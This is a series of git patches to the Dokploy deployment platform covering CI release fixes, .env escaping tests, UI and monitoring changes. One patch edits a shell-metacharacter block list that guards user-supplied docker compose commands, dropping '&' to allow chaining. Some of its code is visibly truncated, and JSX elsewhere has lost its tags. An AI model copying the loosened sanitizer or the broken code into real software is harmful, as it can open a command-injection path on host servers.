"Invalid domain name. Use only letters, numbers, hyphens and dots (e.g. example.com). Underscores are not allowed.";
From 472ebed06c9b804369af51585390cce37ac4c1a4 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 00:42:22 -0600
Subject: [PATCH 081/419] fix(ci): create release tags on the pushed commit
instead of default branch
---
.github/workflows/dokploy.yml | 1 +
1 file changed, 1 insertion(+)
diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml
index 1c228d27e..12af2c024 100644
--- a/.github/workflows/dokploy.yml
+++ b/.github/workflows/dokploy.yml
@@ -164,6 +164,7 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
+ target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
From 98af5a2f07687379f32cb4f3bf3334307589609b Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 00:42:22 -0600
Subject: [PATCH 082/419] fix(ci): create release tags on the pushed commit
instead of default branch
(cherry picked from commit 472ebed06c9b804369af51585390cce37ac4c1a4)
[skip ci]
---
.github/workflows/dokploy.yml | 1 +
1 file changed, 1 insertion(+)
diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml
index 1c228d27e..12af2c024 100644
--- a/.github/workflows/dokploy.yml
+++ b/.github/workflows/dokploy.yml
@@ -164,6 +164,7 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
+ target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
From b50b1d4c869432bd18c4a7d3ec04e8de8163d724 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Thu, 6 Aug 2026 00:58:04 -0600
Subject: [PATCH 083/419] Merge pull request #4962 from
Dokploy/fix/compose-env-file-special-chars
fix: preserve special characters in Compose-generated .env values
(cherry picked from commit abe774650f0ca4b2dba7725ab615c74dedfd03e1)
[skip ci]
---
.../compose/env-file-literals.test.ts | 96 +++++++++++++++++++
.../env-file-literals-dockerfile.test.ts | 43 +++++++++
packages/server/src/utils/builders/compose.ts | 4 +-
packages/server/src/utils/docker/utils.ts | 21 ++++
4 files changed, 162 insertions(+), 2 deletions(-)
create mode 100644 apps/dokploy/__test__/compose/env-file-literals.test.ts
create mode 100644 apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts
new file mode 100644
index 000000000..2dbb7fa4e
--- /dev/null
+++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts
@@ -0,0 +1,96 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, rmSync, writeFileSync } from "node:fs";
+import { join } from "node:path";
+import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
+// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
+const appName = `env-file-literals-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+
+afterEach(() => {
+ try {
+ execFileSync("docker", ["compose", "down", "--remove-orphans"], {
+ cwd: codePath,
+ stdio: "ignore",
+ });
+ } catch {
+ // Project may not have been created (e.g. an earlier assertion failed).
+ }
+ rmSync(projectPath, { force: true, recursive: true });
+});
+
+const cases: Record = {
+ PASSWORD: "pa$$word",
+ SPECIAL: '!"#$%&/()=?',
+ NESTED_JSON: '{"nested":{"a":1}}',
+ MAIL_PASSWORD: "abc#de",
+ TRAILING_BACKSLASH: "trailing\\",
+ QUOTE_INSIDE: 'she said "hi"',
+ APOSTROPHE: "it's a test",
+ UNICODE: "héllo wörld 日本語 🚀",
+ MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
+};
+
+// How each value must be typed in the UI so the (unchanged) dotenv input
+// parser resolves it to the raw string in `cases` above.
+const inputEncoding: Record = {
+ PASSWORD: "pa$$word",
+ SPECIAL: `'!"#$%&/()=?'`,
+ NESTED_JSON: '{"nested":{"a":1}}',
+ MAIL_PASSWORD: `"abc#de"`,
+ TRAILING_BACKSLASH: "trailing\\",
+ QUOTE_INSIDE: 'she said "hi"',
+ APOSTROPHE: "it's a test",
+ UNICODE: "héllo wörld 日本語 🚀",
+ MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
+};
+
+describe("getCreateEnvFileCommand", () => {
+ it("writes special environment values that Docker Compose reads back literally", () => {
+ mkdirSync(codePath, { recursive: true });
+
+ const serviceEnv = Object.entries(inputEncoding)
+ .map(([key, value]) => `${key}=${value}`)
+ .join("\n");
+
+ const command = getCreateEnvFileCommand({
+ appName,
+ composePath: "docker-compose.yml",
+ env: serviceEnv,
+ randomize: false,
+ suffix: "",
+ serverId: null,
+ environment: { project: { env: "" }, env: "" },
+ } as Parameters[0]);
+
+ execFileSync("bash", ["-c", command]);
+
+ const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
+ cases,
+ )
+ .map((key) => ` - ${key}=\${${key}}`)
+ .join("\n")}\n`;
+ writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
+
+ const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
+
+ const out = execFileSync(
+ "docker",
+ ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
+ { cwd: codePath, encoding: "utf8" },
+ );
+
+ const parts = out.split("\0");
+ const actual: Record = {};
+ for (let i = 0; i < parts.length - 1; i += 2) {
+ actual[parts[i] as string] = parts[i + 1] as string;
+ }
+
+ for (const [key, value] of Object.entries(cases)) {
+ expect(actual[key], key).toBe(value);
+ }
+ }, 60000);
+});
diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
new file mode 100644
index 000000000..4ce0f5ded
--- /dev/null
+++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
@@ -0,0 +1,43 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, readFileSync, rmSync } from "node:fs";
+import { join } from "node:path";
+import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
+import { parse } from "dotenv";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Unlike compose's .env, this one is read by the app's own build tooling
+// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
+const appName = `env-file-literals-dockerfile-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+const dockerFilePath = join(codePath, "Dockerfile");
+
+afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
+
+const cases: Record = {
+ PASSWORD: "pa$$word",
+ NESTED_JSON: '{"nested":{"a":1}}',
+ QUOTE_INSIDE: 'she said "hi"',
+ BACKSLASH: "back\\slash",
+ UNICODE: "héllo wörld 日本語 🚀",
+};
+
+describe("createEnvFileCommand", () => {
+ it("writes special environment values that a generic dotenv parser reads back literally", () => {
+ mkdirSync(codePath, { recursive: true });
+
+ const serviceEnv = Object.entries(cases)
+ .map(([key, value]) => `${key}=${value}`)
+ .join("\n");
+
+ const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
+ execFileSync("bash", ["-c", command]);
+
+ const written = readFileSync(join(codePath, ".env"), "utf8");
+ const parsed = parse(written);
+
+ for (const [key, value] of Object.entries(cases)) {
+ expect(parsed[key], key).toBe(value);
+ }
+ });
+});
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index e5643074e..1694a48ed 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -7,7 +7,7 @@ import { writeDomainsToCompose } from "../docker/domain";
import {
encodeBase64,
getEnvironmentVariablesObject,
- prepareEnvironmentVariables,
+ prepareEnvironmentVariablesForFile,
} from "../docker/utils";
export type ComposeNested = InferResultType<
@@ -127,7 +127,7 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
envContent += `\nCOMPOSE_PREFIX=${compose.suffix}`;
}
- const envFileContent = prepareEnvironmentVariables(
+ const envFileContent = prepareEnvironmentVariablesForFile(
envContent,
compose.environment.project.env,
compose.environment.env,
diff --git a/packages/server/src/utils/docker/utils.ts b/packages/server/src/utils/docker/utils.ts
index 1aecb1d75..17cf0245c 100644
--- a/packages/server/src/utils/docker/utils.ts
+++ b/packages/server/src/utils/docker/utils.ts
@@ -465,6 +465,27 @@ export const prepareEnvironmentVariablesForShell = (
return envVars.map((env) => quote([env]));
};
+export const prepareEnvironmentVariablesForFile = (
+ serviceEnv: string | null,
+ projectEnv?: string | null,
+ environmentEnv?: string | null,
+): string[] => {
+ const envVars = prepareEnvironmentVariables(
+ serviceEnv,
+ projectEnv,
+ environmentEnv,
+ );
+
+ return envVars.map((pair) => {
+ const [key, value] = parseEnvironmentKeyValuePair(pair);
+ const escapedValue = value
+ .replace(/\\/g, "\\\\")
+ .replace(/"/g, '\\"')
+ .replace(/\$/g, "\\$");
+ return `${key}="${escapedValue}"`;
+ });
+};
+
export const parseEnvironmentKeyValuePair = (
pair: string,
): [string, string] => {
From b6190ff3142fef95990334b26d6e98f1a42276d0 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 01:19:37 -0600
Subject: [PATCH 084/419] fix(ci): pin pnpm and strip v prefix in sync-version
job
npm install -g pnpm resolved to pnpm 11, which turns the esbuild ignored-build-scripts warning into a fatal error, so sync-version has failed on every release since v0.29.5 and mcp/cli/sdk were never bumped or published. Pin pnpm to 10.22.0 (same as packageManager) and write the version without the v prefix so npm packages get valid semver.
---
.github/workflows/dokploy.yml | 27 +++++++++++++++------------
1 file changed, 15 insertions(+), 12 deletions(-)
diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml
index 12af2c024..e30b5d06a 100644
--- a/.github/workflows/dokploy.yml
+++ b/.github/workflows/dokploy.yml
@@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
+ npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -151,6 +152,7 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
+ echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
@@ -181,15 +183,18 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
+ - uses: pnpm/action-setup@v4
+ with:
+ version: 10.22.0
+
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
- npm install -g pnpm
pnpm install
pnpm run fetch-openapi
pnpm run generate
@@ -197,55 +202,53 @@ jobs:
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
- npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
- npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
From c9ca719d97d0041ab97688736fb579b802735e8a Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Thu, 6 Aug 2026 01:20:35 -0600
Subject: [PATCH 085/419] Merge pull request #4984 from
Dokploy/fix/sync-version-pnpm-pin
fix(ci): pin pnpm and strip v prefix in sync-version job
(cherry picked from commit 53feb9dd5b717e2f270ddc7eac6694b2c2d805c9)
[skip ci]
---
.github/workflows/dokploy.yml | 27 +++++++++++++++------------
1 file changed, 15 insertions(+), 12 deletions(-)
diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml
index 12af2c024..e30b5d06a 100644
--- a/.github/workflows/dokploy.yml
+++ b/.github/workflows/dokploy.yml
@@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
+ npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -151,6 +152,7 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
+ echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
@@ -181,15 +183,18 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
+ - uses: pnpm/action-setup@v4
+ with:
+ version: 10.22.0
+
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
- npm install -g pnpm
pnpm install
pnpm run fetch-openapi
pnpm run generate
@@ -197,55 +202,53 @@ jobs:
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
- npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
- jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+ jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
- npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
- git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+ git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
- echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
+ echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
From ff9fa7418f98ad0bdc0fdab5da33d82833968585 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 01:28:18 -0600
Subject: [PATCH 086/419] fix(ci): generate OpenAPI spec from the release
commit in sync-version
The cli/sdk steps copied the repo-root openapi.json, which was last committed in March, and the mcp step fetched docs.dokploy.com, which canary pushes can overwrite. Generate the spec from the release commit instead so each package release matches its dokploy tag.
---
.github/workflows/dokploy.yml | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml
index e30b5d06a..08d6b8a5b 100644
--- a/.github/workflows/dokploy.yml
+++ b/.github/workflows/dokploy.yml
@@ -187,6 +187,16 @@ jobs:
with:
version: 10.22.0
+ - uses: actions/setup-node@v4
+ with:
+ node-version: 24.4.0
+ cache: pnpm
+
+ - name: Generate OpenAPI specification
+ run: |
+ pnpm install --frozen-lockfile
+ pnpm generate:openapi
+
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
@@ -195,8 +205,8 @@ jobs:
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
+ cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
- pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"
From 94098b2686c809ec8f1bafa8f18aa69a8c268dff Mon Sep 17 00:00:00 2001
From: elisiumm <86828145+elisiumm@users.noreply.github.com>
Date: Thu, 6 Aug 2026 14:25:29 +0200
Subject: [PATCH 087/419] fix(ui): expose isStaticSpa toggle for nixpacks +
publish directory
The backend already honors isStaticSpa for the Nixpacks builder when a
publishDirectory is set (getStaticCommand generates an SPA-aware nginx
config with try_files fallback to index.html), but the build type form
only wired the field for the Static builder. As a result the toggle
never rendered for Nixpacks and any save in that mode silently cleared
the flag via the discriminated union schema and resetData mapping.
Add isStaticSpa to the nixpacks schema variant and resetData case,
render the same SPA checkbox once a publish directory is set, and
include the field in the save mutation payload for nixpacks.
Fixes #4993
---
.../dashboard/application/build/show.tsx | 32 ++++++++++++++++++-
1 file changed, 31 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/components/dashboard/application/build/show.tsx b/apps/dokploy/components/dashboard/application/build/show.tsx
index 32aee23d3..ac2531f94 100644
--- a/apps/dokploy/components/dashboard/application/build/show.tsx
+++ b/apps/dokploy/components/dashboard/application/build/show.tsx
@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
z.object({
buildType: z.literal(BuildType.nixpacks),
publishDirectory: z.string().optional(),
+ isStaticSpa: z.boolean().default(false),
}),
z.object({
buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
return {
buildType: BuildType.nixpacks,
publishDirectory: data.publishDirectory || undefined,
+ isStaticSpa: data.isStaticSpa ?? false,
};
case BuildType.paketo_buildpacks:
return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
const buildType = form.watch("buildType");
const railpackVersion = form.watch("railpackVersion");
+ const publishDirectory = form.watch("publishDirectory");
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
? data.herokuVersion
: null,
isStaticSpa:
- data.buildType === BuildType.static ? data.isStaticSpa : null,
+ data.buildType === BuildType.static ||
+ data.buildType === BuildType.nixpacks
+ ? data.isStaticSpa
+ : null,
railpackVersion:
data.buildType === BuildType.railpack
? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
)}
/>
)}
+ {buildType === BuildType.nixpacks && publishDirectory && (
+ (
+
+
+
+
+
+ Single Page Application (SPA)
+
+
+
+
+
+ )}
+ />
+ )}
{buildType === BuildType.static && (
Date: Thu, 6 Aug 2026 15:13:27 +0200
Subject: [PATCH 088/419] fix: allow docker compose command chaining
---
packages/server/src/utils/builders/compose.ts | 21 +++++++++++++++++--
1 file changed, 19 insertions(+), 2 deletions(-)
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 1694a48ed..89851d84c 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`;
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
-const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
+// Removed '&' from the blocklist to allow '&&' chaining
+const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
@@ -81,8 +82,24 @@ const sanitizeCommand = (command: string) => {
);
}
- const parts = sanitizedCommand.split(/\s+/);
+ if (sanitizedCommand.includes("&")) {
+ // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
+ if (/(? cmd.trim());
+ const isSafeChain = chains.slice(1).every((cmd) =>
+ cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ")
+ );
+
+ if (!isSafeChain) {
+ throw new Error("Chained commands must strictly start with 'docker compose '");
+ }
+ }
+
+ const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
return restCommand.join(" ");
From 8545a1d9e7f46dba115846d9cb804f39d09cef9c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Thu, 6 Aug 2026 11:13:45 -0400
Subject: [PATCH 089/419] Merge pull request #4176 from daniel-abramov/canary
fix: add unzip to arch server set up
(cherry picked from commit d8bb3f406c0f8e06a1d0e4c4af1d540c8d10f02d)
[skip ci]
---
packages/server/src/setup/server-setup.ts | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/packages/server/src/setup/server-setup.ts b/packages/server/src/setup/server-setup.ts
index 7181880a4..b972d7d85 100644
--- a/packages/server/src/setup/server-setup.ts
+++ b/packages/server/src/setup/server-setup.ts
@@ -482,7 +482,7 @@ const installUtilities = () => `
case "$OS_TYPE" in
arch)
- $SUDO_CMD pacman -Sy --noconfirm --needed curl wget git git-lfs jq openssl >/dev/null || true
+ $SUDO_CMD pacman -Sy --noconfirm --needed unzip curl wget git git-lfs jq openssl >/dev/null || true
;;
alpine)
$SUDO_CMD sed -i '/^#.*\/community/s/^#//' /etc/apk/repositories
From 6ec530043ee92b2662a45cc980ff4ed671b032da Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Thu, 6 Aug 2026 11:21:22 -0400
Subject: [PATCH 090/419] Merge pull request #4122 from
Gabrielgvl/fix/server-schedule-pipefail
fix: preserve server schedule failures through tee pipeline
(cherry picked from commit 3e306e5dba30dbe75938afdd5e25ac8da1d824cd)
[skip ci]
---
packages/server/src/utils/schedules/utils.ts | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts
index e81f9a582..65d01afed 100644
--- a/packages/server/src/utils/schedules/utils.ts
+++ b/packages/server/src/utils/schedules/utils.ts
@@ -174,7 +174,7 @@ export const runCommand = async (scheduleId: string) => {
const { SCHEDULES_PATH } = paths(true);
const fullPath = path.join(SCHEDULES_PATH, appName || "");
const command = `
- set -e
+ set -euo pipefail
echo "Running script" >> ${deployment.logPath};
bash -c ${fullPath}/script.sh 2>&1 | tee -a ${deployment.logPath} || {
echo "❌ Command failed" >> ${deployment.logPath};
From 54272b95b69a11482acc4bd65dbd0ba5a11f4832 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Thu, 6 Aug 2026 11:40:29 -0400
Subject: [PATCH 091/419] Merge pull request #3867 from
karyanayandi/fix/lazy-initializer-for-usestate
fix: use lazy initializer for useState with function calls
(cherry picked from commit 27377da6fa0672aa324be8d7480d3ed5a79ab420)
[skip ci]
---
apps/dokploy/components/dashboard/requests/show-requests.tsx | 2 +-
.../dashboard/settings/web-server/terminal-modal.tsx | 4 +++-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/dashboard/requests/show-requests.tsx b/apps/dokploy/components/dashboard/requests/show-requests.tsx
index 83b5d2bf5..b1a3cfca2 100644
--- a/apps/dokploy/components/dashboard/requests/show-requests.tsx
+++ b/apps/dokploy/components/dashboard/requests/show-requests.tsx
@@ -63,7 +63,7 @@ export const ShowRequests = () => {
const [dateRange, setDateRange] = useState<{
from: Date | undefined;
to: Date | undefined;
- }>(getDefaultDateRange());
+ }>(() => getDefaultDateRange());
// Check if logs exist to determine if traefik has been reloaded
// Only fetch when active to minimize network calls
diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
index 2647e1dc0..e90ba51f8 100644
--- a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
@@ -32,7 +32,9 @@ export const TerminalModal = ({
serverId,
asButton = false,
}: Props) => {
- const [terminalKey, setTerminalKey] = useState(getTerminalKey());
+ const [terminalKey, setTerminalKey] = useState(() =>
+ getTerminalKey(),
+ );
const [isOpen, setIsOpen] = useState(false);
const isLocalServer = serverId === "local";
From b3e7a8a74ce9c03efd92abe57df6fe9c754b2995 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 14:20:29 -0600
Subject: [PATCH 092/419] fix: parse Block I/O and Network I/O stats to numeric
MB so monitoring charts render
---
.../free/container/docker-block-chart.tsx | 7 ++--
.../free/container/docker-network-chart.tsx | 7 ++--
.../show-free-container-monitoring.tsx | 5 ++-
packages/server/src/monitoring/units.ts | 41 +++++++++++++++++++
packages/server/src/monitoring/utils.ts | 9 ++--
5 files changed, 57 insertions(+), 12 deletions(-)
create mode 100644 packages/server/src/monitoring/units.ts
diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
index 91db49869..01989753a 100644
--- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
- readMb: item.value.readMb,
- writeMb: item.value.writeMb,
+ readMb: toMb(item.value.readMb),
+ writeMb: toMb(item.value.writeMb),
}));
return (
@@ -77,7 +78,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "readMb" ? "Read" : "Write";
- return [`${value} MB`, label];
+ return [formatMb(Number(value)), label];
}}
/>
}
